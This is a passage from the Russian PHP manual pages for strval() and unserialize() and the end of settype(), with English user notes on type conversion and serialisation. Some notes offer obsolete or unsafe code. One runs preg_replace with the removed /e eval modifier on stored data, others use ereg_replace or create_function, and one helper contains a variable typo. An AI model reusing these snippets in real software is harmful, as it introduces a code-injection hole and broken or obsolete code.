<?php
    class Foo {
        // ...
        function __toString() {
            return 'Foo object is awesome!';
        }
        // ...
    }
?>
So the first code snippet will not generate an E_RECOVERABLE_ERROR, but instead print the same string as for the other types, and not look at the one returned by the __toString() method.

Hope this helps !  :)
Skayo 26-Jul-2017 08:59
$foo = "1";
settype($foo, "bool");
var_dump($foo); // Outputs: bool(true)

$bar = "0";
settype($bar, "bool");
var_dump($bar); // Outputs: bool(false)
marjune 10-Nov-2016 05:31
any digit except 0 or -0 are considered true in boolean, and any string except '0' or '' are also considered true.

<?php

$foo = '0';
settype($foo, 'boolean');
var_dump($foo); // false

$foo = 0;
settype($foo, 'boolean');
var_dump($foo); // false
Special Notes 26-Feb-2012 12:00
Note that you can't use this to convert a string 'true' or 'false' to a boolean variable true or false as a string 'false' is a boolean true. The empty string would be false instead...

<?php
$var = "true";
settype($var, 'bool');
var_dump($var); // true

$var = "false";
settype($var, 'bool');
var_dump($var); // true as well!

$var = "";
settype($var, 'bool');
var_dump($var); // false
?>
Chris Sullins 18-Apr-2010 11:59
settype() has some really strange, potentially buggy behavior.

As noted by Michael Benedict, using settype() on a variable will initialize that variable.  What is stranger is that using settype() on an uninitialized variable that you are treating as an array or object will also initialize the variable.  So:

<?php
settype($foo->bar,"integer"); // stdClass Object ( [test] => 0 )
?>

This works for a chain of any length: $foo->bar['baz']->etc

Next we look at what happens if $foo is already set.

<?php
$foo = false;
settype($foo->bar,"integer"); // stdClass Object ( [test] => 0 )
?>

In and of itself, this wouldn't be problematic.  It might even make sense.  But in all other cases where $foo is defined, even if (boolean) $foo === false, it will throw an error unless $foo->bar is valid (i.e. $foo is an object already).

<?php
$foo = true;
settype($foo->bar,"integer"); // Notice: Trying to get property of non-object
?>
NWdev 17-Nov-2008 09:38
In trying to convert an array of strings to an array of ints,
I attempted to use settype with array_walk.

<?php
//$numArray is generated by another process
$numArray = array('13','14','33');

var_dump($numArray);

//my conversion function
function str_to_int($val){
  //remember: settype($x, 'int') returns boolean (1=success, 0=failure)
  //--> so return $x to return new value
    settype($val,'int');
    echo "<br />gettype = ".gettype($val)."<br />";
    return $val;
}

array_walk($numArray,'str_to_int');

var_dump($numArray);
?>

The var_dumps both return the following:
<?php
array(3) { [0]=> string(2) "13" [1]=> string(2) "14" [2]=> string(2) "33" }
?>

The gettype echo will show the value as an integer.

So it seems that settype($val,'int') makes the conversion,
but the function return value remains a string.
Since settype returns a boolean, using
<?php $val = settype($val, 'int'); ?>
is not a option.

I resolved my array value conversion using this instead:
<?php
$numArray =
      array_map(create_function('$value', 'return (int)$value;'),$numArray);
?>
Thanks to the posting here:
http://usrportage.de/archives/
808-Convert-an-array-of-strings-into-an-array-of-integers.html

Perhaps this will save someone else spinning wheels a bit.

Also thanks to robin at barafranca dot com for
pointing out the boolean return value of settype.
robin at barafranca dot com 05-Mar-2008 04:20
Just a quick note, as this caught me out very briefly:

settype() returns bool, not the typecasted variable - so:

$blah = settype($blah, "int"); // is wrong, changes $blah to 0 or 1
settype($blah, "int"); // is correct

Hope this helps someone else who makes a mistake.. ;)
ludvig dot ericson gmail.dot com 09-Apr-2006 08:36
To matt:
This function accepts a paremeter, which does not imply you using hardcoded stuff, instead you can let the user choose! \o/

As a part of a framework or something.

Plus, you can probably call this with call_user_func
matt at mattsoft dot net 06-Dec-2005 09:49
using (int) insted of the settype function works out much better for me. I have always used it. I personally don't see where settype would ever come in handy.
Michael Benedict 29-Oct-2005 10:55
note that settype() will initialize an undefined variable.  Therefore, if you want to preserve type and value, you should wrap the settype() call in a call to isset().

<?php
settype($foo, "integer");
echo("|$foo|");
?>

prints "|0|", NOT "||".

To get the latter, use:
<?php
if(isset($foo)) settype($foo, "integer");
echo("|$foo|");
?>
nospamplease at veganismus dot ch 22-Jul-2005 07:38
you must note that this function will not set the type permanently! the next time you set the value of that variable php will change its type as well.
reinier_deblois at hotmail dot com 13-Mar-2005 09:18
Instead of settype you could use:
<?php

$int=593;  // $int is a integer

$int.="";   // $int is now a string
memandeemail at gmail dot com 09-Dec-2004 05:17
/**
    * @return bool
    * @param array[byreference] $values
    * @desc Convert an array or any value to Escalar Object [not tested in large scale]
    */
    function setobject(&$values) {
        $values = (object) $values;
        foreach ($values as $tkey => $val) {
            if (is_array($val)) {
                setobject($val);
                $values->$tkey = $val;
            }
        }
        return (bool) $values;
    }
sdibb at myway dot com 06-Sep-2003 10:03
Using settype is not the best way to convert a string into an integer, since it will strip the string wherever the first non-numeric character begins.  The function intval($string) does the same thing.

If you're looking for a security check, or to strip non-numeric characters (such as cleaning up phone numbers or ZIP codes),  try this instead:

<?
     $number=ereg_replace("[^0-9]","",$number);
?>
ns at canada dot com 05-May-2000 04:38
This settype() behaviour seems consistent to me. Quoting two sections from the manual:

"When casting from a scalar or a string variable to an array, the variable will become the first element of the array: "
<pre>
2 $var = 'ciao';
3 $arr = (array) $var;
4 echo $arr[0];  // outputs 'ciao'
</pre>

And if (like your code above) you do a settype on an empty variable, you'll end up with a one element array with an empty (not unset!) first element. So appeanding to it will start appending at index 1. As for why reset() doesn't do anything:

"When you assign a value to an array variable using empty brackets, the value will be added onto the end of the array."

It doesn't matter where the array counter is; values are added at the end, not at the counter.


Возвращает строковое значение переменной

  • « settype
  • unserialize »
  • PHP Manual
  • Функции для работы с переменными
  • Возвращает строковое значение переменной

strval

(PHP 4, PHP 5, PHP 7, PHP 8)

strval — Возвращает строковое значение переменной

Описание

strval(mixed $value): string

Возвращает строковое значение переменной. Смотрите документацию по типу string для более подробной информации о преобразовании в строку.

Эта функция не производит форматирование возвращаемого значения. Если необходимо привести числовое значение к строке с особым форматом, воспользуйтесь sprintf() или number_format().

Список параметров

value

Переменная, которую необходимо преобразовать в строку.

value может быть любого скалярного типа, null или объектом (object), который реализует метод __toString(). strval() нельзя применить к массиву или объекту, которые не реализуют метод __toString().

Возвращаемые значения

Строковое значение (string) параметра value.

Примеры

Пример #1 Пример использования strval() с магическим методом PHP __toString().

<?php
class StrValTest
{
public function __toString()
{
return __CLASS__;
}
}

// Выводит 'StrValTest'
echo strval(new StrValTest);
?>

Смотрите также

  • boolval() - Возвращает логическое значение переменной
  • floatval() - Возвращает значение переменной в виде числа с плавающей точкой
  • intval() - Возвращает целочисленное значение переменной
  • settype() - Задаёт тип переменной
  • sprintf() - Возвращает отформатированную строку
  • number_format() - Форматирует число с группировкой классов многозначного числа
  • Манипуляции с типами
  • __toString()

User Contributed Notes

fabrice at vignals dot com 17-Dec-2021 10:01
My logic is stress.

bolean is true OR false;

<?= strval( true); ?> //output: 1

You must use:
<?= var_export( true ) ?> //output: true
Mark Clements 02-Jun-2016 01:17
Some notes about how this function has changed over time, with regards the following statement:

> You cannot use strval() on arrays or on objects that
> do not implement the __toString() method.

== Arrays ==

In PHP 5.3 and below, strval(array(1, 2, 3)) would return the string "Array" without any sort of error occurring.

From 5.4 and above, the return value is unchanged but you will now get a notice-level error: "Array to string conversion".

== Objects ==

For objects that do not implement __toString(), the behaviour has varied:

PHP 4: "Object"
PHP 5 < 5.2: "Object id #1" (number obviously varies)
PHP >= 5.2: Catchable fatal error:  Object of class X could not be converted to string
Hayley Watson 21-Aug-2007 08:53
As of PHP 5.2, strval() will return the string value of an object, calling its __toString() method to determine what that value is.
NyctoFixer at gmail dot com 11-Jun-2007 12:19
As of PHP 5.1.4 (I have not tested it in later versions), the strval function does not attempt to invoke the __toString method when it encounters an object. This simple wrapper function will handle this circumstance for you:

<?

/**
 * Returns the string value of a variable
 *
 * This differs from strval in that it invokes __toString if an object is given
 * and the object has that method
 */
function stringVal ($value)
{
    // We use get_class_methods instead of method_exists to ensure that __toString is a public method
    if (is_object($value) && in_array("__toString", get_class_methods($value)))
        return strval($value->__toString());
    else
        return strval($value);
}

?>
kendsnyder+phpnet at gmail dot com 01-Jun-2007 10:08
The only way to convert a large float to a string is to use printf('%0.0f',$float); instead of strval($float); (php 5.1.4).

// strval() will lose digits around pow(2,45);
echo pow(2,50); // 1.1258999068426E+015
echo (string)pow(2,50); // 1.1258999068426E+015
echo strval(pow(2,50)); // 1.1258999068426E+015

// full conversion
printf('%0.0f',pow(2,50)); // 112589906846624
echo sprintf('%0.0f',pow(2,50)); // 112589906846624
portos_ze_retour at hotmail dot fr 10-Mar-2006 08:15
In complement to Tom Nicholson's contribution, here is the french version (actually it's possible to change the language, but you should check the syntax ;) )

function int_to_words($x) {
   global $nwords;

   if(!is_numeric($x))
     $w = '#';
   else if(fmod($x, 1) != 0)
     $w = '#';
   else {
     if($x < 0) {
         $w = $nwords['minus'].' ';
         $x = -$x;
     } else
         $w = '';
     // ... now $x is a non-negative integer.

     if($x < 21)  // 0 to 20
         $w .= $nwords[$x];
     else if($x < 100) {  // 21 to 99
         $w .= $nwords[10 * floor($x/10)];
         $r = fmod($x, 10);
         if($r > 0)
           $w .= '-'. $nwords[$r];
     } else if($x < 1000) {  // 100 to 999
         $w .= $nwords[floor($x/100)] .' '.$nwords['hundred'];
         $r = fmod($x, 100);
         if($r > 0)
           $w .= ' '.$nwords['separator'].' '. int_to_words($r);
     } else if($x < 1000000) {  // 1000 to 999999
         $w .= int_to_words(floor($x/1000)) .' '.$nwords['thousand'];
         $r = fmod($x, 1000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $w .= $nwords['separator'].' ';
           $w .= int_to_words($r);

         }
     } else {    //  millions
         $w .= int_to_words(floor($x/1000000)) .' '.$nwords['million'];
         $r = fmod($x, 1000000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $word .= $nwords['separator'].' ';
           $w .= int_to_words($r);
         }
     }
   }
   return $w;
}

 // Usage in English
$nwords = array( "zero", "one", "two", "three", "four", "five", "six", "seven",
                   "eight", "nine", "ten", "eleven", "twelve", "thirteen",
                   "fourteen", "fifteen", "sixteen", "seventeen", "eighteen",
                   "nineteen", "twenty", 30 => "thirty", 40 => "forty",
                   50 => "fifty", 60 => "sixty", 70 => "seventy", 80 => "eighty",
                   90 => "ninety" , "hundred" => "hundred", "thousand"=> "thousand", "million"=>"million",
                   "separator"=>"and", "minus"=>"minus");

echo 'There are currently '. int_to_words(-120223456) . ' members logged on.<br>';

 //Utilisation en Francais
$nwords = array( "zero", "un", "deux", "trois", "quatre", "cinq", "six", "sept",
                   "huit", "neuf", "dix", "onze", "douze", "treize",
                   "quatorze", "quinze", "seize", "dix-sept", "dix-huit",
                   "dix-neuf", "vingt", 30 => "trente", 40 => "quarante",
                   50 => "cinquante", 60 => "soixante", 70 => "soixante-dix", 80 => "quatre-vingt",
                   90 => "quatre-vingt-dix" , "hundred" => "cent", "thousand"=> "mille", "million"=>"million",
                   "separator"=>"", "minus"=>"moins");

echo 'Il y a actuellement '. int_to_words(-120223456) . ' membres connectes.<br>';
php at ianco dot co dot uk 07-Oct-2005 04:36
I can't help being surprised that

(string)"0" == (string)"0.00"

evaluates to true. It's the same with strval and single quotes.
=== avoids it.

Why does it matter? One of my suppliers, unbelievably, uses 0 to mean standard discount and 0.00 to mean no discount in their stock files.
Steve Ball 08-Sep-2005 07:18
It seems that one is being treated as an unsigned large int (32 bit), and the other as a signed large int (which has rolled over/under).

2326201276 - (-1968766020) =  4294967296.
Tom Nicholson 28-Apr-2004 09:13
If you want to convert an integer into an English word string, eg. 29 -> twenty-nine, then here's a function to do it.

Note on use of fmod()
  I used the floating point fmod() in preference to the % operator, because % converts the operands to int, corrupting values outside of the range [-2147483648, 2147483647]

I haven't bothered with "billion" because the word means 10e9 or 10e12 depending who you ask.

The function returns '#' if the argument does not represent a whole number.

<?php
$nwords = array( "zero", "one", "two", "three", "four", "five", "six", "seven",
                   "eight", "nine", "ten", "eleven", "twelve", "thirteen",
                   "fourteen", "fifteen", "sixteen", "seventeen", "eighteen",
                   "nineteen", "twenty", 30 => "thirty", 40 => "forty",
                   50 => "fifty", 60 => "sixty", 70 => "seventy", 80 => "eighty",
                   90 => "ninety" );

function int_to_words($x) {
   global $nwords;

   if(!is_numeric($x))
      $w = '#';
   else if(fmod($x, 1) != 0)
      $w = '#';
   else {
      if($x < 0) {
         $w = 'minus ';
         $x = -$x;
      } else
         $w = '';
      // ... now $x is a non-negative integer.

      if($x < 21)   // 0 to 20
         $w .= $nwords[$x];
      else if($x < 100) {   // 21 to 99
         $w .= $nwords[10 * floor($x/10)];
         $r = fmod($x, 10);
         if($r > 0)
            $w .= '-'. $nwords[$r];
      } else if($x < 1000) {   // 100 to 999
         $w .= $nwords[floor($x/100)] .' hundred';
         $r = fmod($x, 100);
         if($r > 0)
            $w .= ' and '. int_to_words($r);
      } else if($x < 1000000) {   // 1000 to 999999
         $w .= int_to_words(floor($x/1000)) .' thousand';
         $r = fmod($x, 1000);
         if($r > 0) {
            $w .= ' ';
            if($r < 100)
               $w .= 'and ';
            $w .= int_to_words($r);
         }
      } else {    //  millions
         $w .= int_to_words(floor($x/1000000)) .' million';
         $r = fmod($x, 1000000);
         if($r > 0) {
            $w .= ' ';
            if($r < 100)
               $word .= 'and ';
            $w .= int_to_words($r);
         }
      }
   }
   return $w;
}

?>

Usage:
<?php
echo 'There are currently '. int_to_words($count) . ' members logged on.';
?>


Создаёт PHP-значение из хранимого представления

  • « strval
  • unset »
  • PHP Manual
  • Функции для работы с переменными
  • Создаёт PHP-значение из хранимого представления

unserialize

(PHP 4, PHP 5, PHP 7, PHP 8)

unserialize — Создаёт PHP-значение из хранимого представления

Описание

unserialize(string $data, array $options = []): mixed

Функция unserialize() принимает одну сериализованную переменную и конвертирует её обратно в значение PHP.

Внимание

Не рекомендовано передавать ненадёжные пользовательские данные в функцию unserialize(), даже если параметру options задано значение allowed_classes. Десериализация умеет создать код, который выполнится при инстанциировании объекта или при автоматической загрузке кода, что могут использовать недобросовестные пользователи. Лучше вызывать более безопасные стандартные форматы обмена данными, например, JSON (функциями json_decode() и json_encode()), если нужно передать сериализованные данные пользователю.

Когда нужно десериализовать данные из внешних источников, пользуются функцией hash_hmac(), чтобы проверить эти данные. Проверяют, чтобы данные не были изменены никем, кроме разработчика.

Список параметров

data

Сериализованная строка.

Если переменная, требующая десериализации, — объект, то после успешного восстановления объекта PHP автоматически попытается вызвать магические методы __unserialize() или __wakeup() (если они определены).

Замечание: Директива unserialize_callback_func

Разрешено устанавливать callback-функцию, которая будет вызвана, если при десериализации нужно проинициализировать неопределённый класс (чтобы исключить получение неполного объекта (object) «__PHP_Incomplete_Class»). Чтобы определить функцию для директивы unserialize_callback_func, пользуются файлом php.ini, функцией ini_set() или файлом .htaccess. Функция будет вызываться каждый раз, когда должен быть проинициализирован неопределённый класс. Для отключения этого поведения, значение директивы оставляют пустым.

options

Любые опции в виде ассоциативного массива, которые разрешено передавать в функцию unserialize().

Корректные опции
Имя | Тип | Описание
allowed_classes | mixed | Либо массив имён классов, которые должны быть приняты, false для указания не принимать никаких классов, либо true, чтобы принимать все. Если эта опция задана и функция unserialize() обнаружит объект неприемлемого класса, то он не будет принят, а вместо этого инстанцируется как объект класса __PHP_Incomplete_Class. Если опция не задана, будет считаться, что ей задано значение true: PHP попытается инстанцировать объекты любого класса.
max_depth | int | Максимальная глубина структур, разрешённая при десериализации и предназначенная для предотвращения переполнения стека. По умолчанию ограничение глубины составляет 4096 и отключается установкой опции max_depth значения 0.

Возвращаемые значения

Возвращает преобразованное значение, которое принимает один из типов bool, int, float, string, array или object.

Если переданная строка не поддаётся десериализации, возвращает false и выдаёт ошибку уровня E_WARNING.

Ошибки

Объектам разрешено выбрасывать исключения Throwable в своих обработчиках десериализации.

Список изменений

Версия | Описание
8.3.0 | Теперь выдаёт ошибку уровня E_WARNING, если переданная строка несериализуема; раньше выдавалась ошибка уровня E_NOTICE.
7.4.0 | Добавлен элемент max_depth в параметр options для установки максимальной глубины структур, разрешённых при десериализации.
7.1.0 | Теперь элемент allowed_classes параметра options строго типизирован, то есть если передано что-либо, кроме array и bool, unserialize() вернёт false и вызовет ошибку E_WARNING.

Примеры

Пример #1 Пример использования функции unserialize()

<?php

// Используем функцию unserialize() для загрузки сессионных данных в массив
// $session_data из строки, извлекаемой из базы данных.
// Пример дополняет пример, описывающий вызов функции serialize().

$conn = odbc_connect("webdb", "php", "chicken");
$stmt = odbc_prepare($conn, "SELECT data FROM sessions WHERE id = ?");
$sqldata = array($_SERVER['PHP_AUTH_USER']);
if (!odbc_execute($stmt, $sqldata) || !odbc_fetch_into($stmt, $tmp)) {
// Если процедура извлечения данных не удалась, то инициализируем пустой массив
$session_data = array();
} else {
// Сейчас в элементе $tmp[0] должны быть сериализованные данные.
$session_data = unserialize($tmp[0]);
if (!is_array($session_data)) {
// Что-то пошло не так, инициализируем пустой массив
$session_data = array();
}
}

?>

Пример #2 Пример использования директивы unserialize_callback_func

<?php

$serialized_object='O:1:"a":1:{s:5:"value";s:3:"100";}';

ini_set('unserialize_callback_func', 'mycallback'); // определяем свою callback-функцию

function mycallback($classname)
{
// просто подключаете файл, содержащий определение класса
// переменная $classname указывает, для какого класса требуется определение
}

?>

Примечания

Внимание

Значение false возвращается как в случае ошибки, так и при десериализации сериализованного значения false. Этот особый случай можно отловить, сравнив значение параметра data со значением, которое возвращает вызов serialize(false), или перехватив выданную ошибку уровня E_NOTICE.

Смотрите также

  • json_encode() - Возвращает JSON-представление данных
  • json_decode() - Декодирует строку JSON
  • hash_hmac() - Генерация хеш-кода на основе ключа, используя метод HMAC
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Автоматическая загрузка классов
  • unserialize_callback_func
  • unserialize_max_depth
  • __wakeup()
  • __serialize()
  • __unserialize()

User Contributed Notes

OscarZarrus 20-Oct-2022 09:34
For those who are looking for an efficient solution for handling controversial "FALSE", they can use this function which in case of non-unserializable string, instead of a "FALSE", throws an Exception. Vice versa it returns the unserialized variable.
<?php
    /**
     * @param string $serializedString
     * @param array $options
     * @return mixed
     * @throws Exception
     */
    function UnSerialize(string $serializedString, array $options = []) {
        $_unserialized = @unserialize($serializedString, $options);
        if ($serializedString === serialize(false) || $_unserialized !== false){
            return $_unserialized;
        }
        throw new Exception("Non-unserializable string");

    }

?>
karsten at dambekalns dot de 27-Nov-2020 07:53
Keep in mind that the allowed_classes does not use inheritance, i.e. allowing an interface is not possible and sub-classes won't pass the check. See https://3v4l.org/tdHfl
hadley8899 at gmail dot com 13-Jan-2020 01:58
For the people who are getting the error

PHP Notice:  unserialize(): Error at offset 191 of 285 bytes in ...

and are getting the data from a database, Make sure that you have the database set the the correct encoding, I had the database set as latin1_swedish_ci and all of the data looked perfect, Infact when i copied it into a online unserialize it worked fine. I changed the collation to utf8mb4_unicode_ci and all worked fine.
Anonymous 11-Mar-2019 06:36
If serialize() is the answer, you're almost certainly asking the wrong question.

JSON is widely available. The only thing it does not do, is the very thing that makes serialization immensely dangerous. All it takes is a crafty hacker to pass a crafted payload to a supposedly 'secured' serialize call, for a database driver to be overwritten with malicious code, for example.

Recreate the object. Normally. With actual data, and a source file, not with serialize. To do otherwise is laziness bordering on malice.
me+phpnet at unreal4u dot com 30-Oct-2017 03:30
Just some reminder which may save somebody some time regarding the `$options` array:

Say you want to be on the safe side and not allow any objects to be unserialized... My first thought was doing the following:

<?php
$lol = unserialize($string, false);
// This will generate:
// Warning: unserialize() expects parameter 2 to be array, boolean given
?>

The correct way of doing this is the following:
<?php
$lol = unserialize($string, ['allowed_classes' => false]);
?>

Hope it helps somebody!
bjd 02-Jan-2017 12:49
Talk on Exploiting PHP7 Unserialize here: https://media.ccc.de/v/33c3-7858-exploiting_php7_unserialize
m.m.j.kronenburg 06-Sep-2016 09:52
You can use the following code to use the php 7 unserialize function in php 5.3 and upwards. This adds the $option argument.

<?php

namespace
{

/**
 * PHP 7 unserialize function for PHP 5.3 upwards.
 * Added the $option argument (allowed_classes).
 * See php unserialize manual for more detail.
 **/
function php7_unserialize($str, $options = array())
{
  if(version_compare(PHP_VERSION, '7.0.0', '>='))
  { return unserialize($str, $options); }

  $allowed_classes = isset($options['allowed_classes']) ?
    $options['allowed_classes'] : true;
  if(is_array($allowed_classes) || !$allowed_classes)
  {
    $str = preg_replace_callback(
      '/(?=^|:)(O|C):\d+:"([^"]*)":(\d+):{/',
      function($matches) use ($allowed_classes)
      {
        if(is_array($allowed_classes) &&
          in_array($matches[2], $allowed_classes))
        { return $matches[0]; }
        else
        {
          return $matches[1].':22:"__PHP_Incomplete_Class":'.
            ($matches[3] + 1).
            ':{s:27:"__PHP_Incomplete_Class_Name";'.
            serialize($matches[2]);
        }
      },
      $str
    );
  }
  unset($allowed_classes);
  return unserialize($str);
}

} // namespace

namespace my_name_space
{
  /**
   * Use the new php7 unserialize in your namespace without
   * renaming all unserialize(...) function calls to
   * php7_unserialize(...).
   **/
  function unserialize($str, $options = array())
  { return php7_unserialize($str, $options); }
}

?>
chris at pollett dot org 02-Jul-2015 03:28
When you serialize an object of a class from a particular namespace, the namespace is recorded as part of the serialization. If you decide to change this namespace's name, it can be hard to read in old serialized objects. I.e., suppose you had serialized an object of type foo\A, you change the namespace of your project to goo but otherwise leave the class definition of A unchanged. You would like to be able to unserialize the object as goo\A, instead unserialization will only create a partial object. To fix this in the case where you don't have nested objects in your class definition, you can use the following simple rename function:
/**
 * Used to change the namespace of a serialized php object (assumes doesn't
 * have nested subobjects)
 *
 * @param string $class_name new fully qualified name with namespace
 * @param string $object_string serialized object
 *
 * @return string serialized object with new name
 */
function renameSerializedObject($class_name, $object_string)
{
    /*  number of digits in the length of name of the object needs to be
        less than 12 digits (probably more like 4) for this to work.
    */
    $name_length = intval(substr($object_string, 2, 14));
    $name_space_info_length = strlen("O:".$name_length.":") +
        $name_length + 2; // 2 for quotes;
    $object_string = 'O:' .
        strlen($class_name) . ':"'. $class_name.'"' .
        substr($object_string, $name_space_info_length);
    return $object_string;
}
ErnestV 03-Aug-2013 01:05
Just a note - if the serialized string contains a reference to a class that cannot be instantiated (e.g. being abstract) PHP will immediately die with a fatal error. If the unserialize() statement is preceded with a '@' to avoid cluttering the logs with warns or notices there will be absolutely no clue as to why the script stopped working. Cost me a couple of hours...
Ray.Paseur often uses Gmail 26-Jul-2013 01:41
In the Classes and Objects docs, there is this: In order to be able to unserialize() an object, the class of that object needs to be defined.

Prior to PHP 5.3, this was not an issue.  But after PHP 5.3 an object made by SimpleXML_Load_String() cannot be serialized.  An attempt to do so will result in a run-time failure, throwing an exception.  If you store such an object in $_SESSION, you will get a post-execution error that says this:

Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'SimpleXMLElement' is not allowed' in [no active file]:0 Stack trace: #0 {main} thrown in [no active file] on line 0

The entire contents of the session will be lost.  Hope this saves someone some time!

<?php // RAY_temp_ser.php
error_reporting(E_ALL);
session_start();
var_dump($_SESSION);
$_SESSION['hello'] = 'World';
var_dump($_SESSION);

// AN XML STRING FOR TEST DATA
$xml = '<?xml version="1.0"?>
<families>
  <parent>
    <child index="1" value="Category 1">Child One</child>
  </parent>
</families>';

// MAKE AN OBJECT (GIVES SimpleXMLElement)
$obj = SimpleXML_Load_String($xml);

// STORE THE OBJECT IN THE SESSION
$_SESSION['obj'] = $obj;
suman dot jis at gmail dot com 13-Mar-2012 09:12
I was getting unserialize()  Error at offset error.

If you face similar problem  then use the following procedure

$auctionDetails = preg_replace('!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $dataArr[$i]['auction_details'] );
$auctionDetails = unserialize($auctionDetails);
walf 22-Aug-2011 08:22
a replacement for unserialize that returns whether it worked and populates the unserialized variable by reference:
<?php
function funserialize($serialized, &$into) {
    static $sfalse;
    if ($sfalse === null)
        $sfalse = serialize(false);
    $into = @unserialize($serialized);
    return $into !== false || rtrim($serialized) === $sfalse;//whitespace at end of serialized var is ignored by PHP
}

$s_foo = 'b:0;';
var_dump(funserialize($s_foo, $foo), $foo);

$s_bar = 'bar';
var_dump(funserialize($s_bar, $bar), $bar);

$s_foo = 'a:0:{};';
var_dump(funserialize($s_foo, $foo), $foo);

?>
gives:

bool(true)
bool(false)

bool(false)
bool(false)

bool(true)
array(0) {
}
MBa 02-Aug-2011 03:49
To check if a string is serialized:

$blSerialized=(@unserialize($sText)||$sText=='b:0;');
chris at colourlovers dot com 16-Jun-2011 05:31
Anyone having trouble serializing data with SimpleXMLElement objects stored within it, check this out:

This will traverse $data looking for any children which are instances of SimpleXMLElement, and will run ->asXML() on them, turning them into a string and making them serializable. Other data will be left alone.

<?php
function exportNestedSimpleXML($data) {
    if (is_scalar($data) === false) {
        foreach ($data as $k => $v) {
            if ($v instanceof SimpleXMLElement) {
                $v = str_replace("&#13;","\r",$v->asXML());
            } else {
                $v = exportNestedSimpleXML($v);
            }

            if (is_array($data)) {
                $data[$k] = $v;
            } else if (is_object($data)) {
                $data->$k = $v;
            }
        }
    }

    return $data;
}

$data = array (
    "baz" => array (
        "foo" => new stdClass(),
        "int" => 123,
        "str" => "asdf",
        "bar" => new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>'),
    )
);

var_dump($data);
/*array(1) {
  ["baz"]=>
  array(4) {
    ["foo"]=>
    object(stdClass)#3 (0) {
    }
    ["int"]=>
    int(123)
    ["str"]=>
    string(4) "asdf"
    ["bar"]=>
    object(SimpleXMLElement)#4 (1) {
      [0]=>
      string(3) "bar"
    }
  }
}*/

var_dump(exportNestedSimpleXML($data));
/*array(1) {
  ["baz"]=>
  array(4) {
    ["foo"]=>
    object(stdClass)#3 (0) {
    }
    ["int"]=>
    int(123)
    ["str"]=>
    string(4) "asdf"
    ["bar"]=>
    string(54) "<?xml version="1.0" encoding="UTF-8"?>
<foo>bar</foo>
"
  }
}
*/
?>
daniel at fourstaples dot com 23-Mar-2010 08:46
Here's a simple function to get the class of a serialized string (that is, the type of object that will be returned if it's unserialized):

<?php
function get_serial_class($serial) {
    $types = array('s' => 'string', 'a' => 'array', 'b' => 'bool', 'i' => 'int', 'd' => 'float', 'N;' => 'NULL');

    $parts = explode(':', $serial, 4);
    return isset($types[$parts[0]]) ? $types[$parts[0]] : trim($parts[2], '"');
}
?>

I use this when saving a serialized object to a cookie, to make sure it is the right type when I go to unserialize it.

The type names are the same format/case as you would see if you did a var_dump().
Fagzal 09-Mar-2010 10:10
To all who have problem with quoting and slashes when storing serialized data in MySQL: you are probably doing it wrong.

Use e.g. PDO with placeholders and the blob column type, and it will Just Work.
arbie samong 10-Sep-2009 07:42
__PHP_Incomplete_Class Object Demystified

1. First take note of the output. A simple example:

__PHP_Incomplete_Class Object (
[__PHP_Incomplete_Class_Name] => SomeObject1
[obj1property1] => somevalue1 [obj1property2] => __PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => SomeObject2 [obj2property1] => somevalue1 [obj2property2] => Array (
['key1'] => somevalue3, ['key2'] => somevalue4 ) ) )

2. We analyze this and break it down.
__PHP_Incomplete_Class Object tells you there is an object that needs to be declared somehow.
__PHP_Incomplete_Class_Name simply tells you the expected class name. It is just one of the properties for now.

So we have:
a) an unknown object that has a class name SomeObject1 (first class)
b) it has 2 properties, namely obj1property1 and obj2property2
c) obj2property2 is itself an object whose class name is SomeObject2 (the second class)
d) SomeObject2 has two properties, obj2property1 and obj2property2
e) obj2property2 is an array that contains two elements

3. Now that we have an idea of the structure, we shall create class definitions based from it. We will just create properties for now, methods are not required as a minimum.

<?php
class SomeObject1 {
        public $obj1property1;
        public $obj1property2;
}
class SomeObject2 {
        public $obj2property1;
        public $obj2property2;
}
?>

4. Have that accessible to your script and it will solve the __PHP_Incomplete_Class Object problem as far as the output is concerned. Now you will have:

SomeObject1 ( [obj1property1] => somevalue1 [obj1property2] => SomeObject2 ( [obj2property1] => somevalue1 [obj2property2] => Array ( ['key1'] => somevalue3, ['key2'] => somevalue4 ) ) )

As you will notice, __PHP_Incomplete_Class Object is gone and replaced by the class name. The property __PHP_Incomplete_Class_Name is also removed.

5. As for the array property obj2property2, we can directly access that and just assume that it is an array and loop through it:

<?php

// this will be SomeObject1
$data = unserialize($serialized_data);

// this will be SomeObject2
$data2 = $data->obj1property2();

foreach($data2->obj2property2 as $key => $value):
         print $key.' : '. $value .'<br>';
endforeach;

?>

Outputs:
key1 : somevalue3
key2 : somevalue4

That's it. You can add more methods on the class declarations for the given properties, provided you keep your original output as basis for the data types.
w dot laurencine at teknoa dot net 07-Apr-2009 05:54
When dealing with a string which contain "\r", it seems that the length is not evaluated correctly. The following solves the problem for me :

<?php
// remove the \r caracters from the $unserialized string
$unserialized = str_replace("\r","",$unserialized);

// and then unserialize()
unserialize($unserialized);
?>
chris AT cmbuckley DOT co DOT uk 14-Aug-2008 06:47
As mentioned in the notes, unserialize returns false in the event of an error and for boolean false. Here is the first solution mentioned, without using error handling:

<?php
function isSerialized($str) {
    return ($str == serialize(false) || @unserialize($str) !== false);
}

var_dump(isSerialized('s:6:"foobar";')); // bool(true)
var_dump(isSerialized('foobar'));        // bool(false)
var_dump(isSerialized('b:0;'));          // bool(true)
?>
BenBE at omorphia dot de 02-Mar-2007 06:20
When trying to serialize or unserialize recursive arrays or otherwise linked data you might find the undocumented R data type quite useful.

If you want a array like the one produced with
<?
$a = array();
$a[0] =& $a;
?>
serialized you can store it using a string simular to this one:
<?
$a = unserialize("a:1:{i:0;R:1;}");
?>

Both sources will make $a hold an array that self-references itself in index 0.

The argument for R is the index of the created sub-variable of the serialize-string beginning with 1.
double at dumpit dot com 19-Dec-2006 05:09
This little function will check whether the serialized string is well formed.

PHP < 6 because i'd heard changes will be made in this php-intern function,
maybe it could be edited easy for it.

<?php

function wd_check_serialization( $string, &$errmsg )
{

    $str = 's';
    $array = 'a';
    $integer = 'i';
    $any = '[^}]*?';
    $count = '\d+';
    $content = '"(?:\\\";|.)*?";';
    $open_tag = '\{';
    $close_tag = '\}';
